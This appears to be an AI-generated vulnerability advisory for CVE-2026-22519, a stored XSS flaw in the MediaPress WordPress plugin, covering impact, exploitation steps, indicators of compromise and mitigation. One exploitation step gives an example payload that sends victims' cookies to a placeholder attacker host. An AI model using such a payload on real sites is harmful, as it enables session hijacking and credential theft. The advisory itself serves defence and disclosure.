CVE-2026-22519
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-22519 is a Stored Cross-Site Scripting (XSS) vulnerability in the BuddyDev MediaPress WordPress plugin, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects MediaPress versions up to and including 1.6.2, allowing authenticated low-privileged attackers to inject persistent malicious scripts via web page generation. The CVE was published on January 8, 2026, and assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is rooted in insufficient input sanitization and output encoding within the MediaPress plugin's web page generation logic (CWE-79). An authenticated attacker with low privileges can inject malicious JavaScript payloads that are persistently stored and later executed in the browsers of other users who view the affected content. The attack vector is network-based, requires low privileges, and user interaction (a victim must view the injected content), with a changed scope indicating cross-context impact. No public proof-of-concept code has been identified at this time (Patchstack, Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions, leading to session hijacking, credential theft, unauthorized actions on behalf of victims, and potential defacement of content. The changed scope means the impact extends beyond the attacker's own session to affect other users, including potentially administrators. Confidentiality, integrity, and availability are each assessed as low impact, but the aggregate risk is elevated in multi-user WordPress environments where administrators may be targeted (Patchstack).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-22519 as of the available data. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Red Hat CVE, Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the MediaPress plugin version 1.6.2 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
  2. Authentication: Obtain or register a low-privileged account (e.g., subscriber or contributor) on the target WordPress site.
  3. Payload Injection: Navigate to a MediaPress-managed input field (such as a media description, comment, or gallery field) and submit a crafted stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Persistence: The malicious script is stored in the database and rendered without proper sanitization when other users (including administrators) view the affected page.
  5. Execution: When a victim visits the page containing the injected content, the script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to MediaPress plugin endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, onload=).
  • Database: Unexpected JavaScript or HTML script tags stored in MediaPress-related database tables (e.g., wp_bp_media, wp_bp_media_albums, or related custom tables).
  • Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting MediaPress gallery or media pages, potentially carrying cookie or session data in query parameters.
  • Browser/Client: Unexpected redirects or pop-ups experienced by users viewing MediaPress content; reports from users of unauthorized actions performed on their accounts.

Mitigation and workarounds

Users should update the MediaPress plugin to a version beyond 1.6.2 as soon as a patched release is available from BuddyDev. In the interim, site administrators should restrict plugin access to trusted users only and consider disabling the MediaPress plugin until a fix is confirmed. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection. Regularly auditing stored content in MediaPress-related database tables for unexpected script tags is also recommended (Patchstack, Wordfence).

Community reactions

Wordfence included CVE-2026-22519 in its weekly WordPress vulnerability report for January 5–11, 2026, highlighting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence). No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability aggregator listings.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-3174HIGH7.5
  • event-tickets
NoYesSep 08, 2026
CVE-2026-18021MEDIUM6.5
  • beaver-builder-lite-version
NoYesSep 08, 2026
CVE-2026-17509MEDIUM6.5
  • sitepress-multilingual-cms
NoYesSep 08, 2026
CVE-2026-76931MEDIUM6.4
  • zephyr-project-manager
NoYesSep 08, 2026
CVE-2026-2520MEDIUM5.4
  • bookly-responsive-appointment-booking-tool
NoYesSep 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management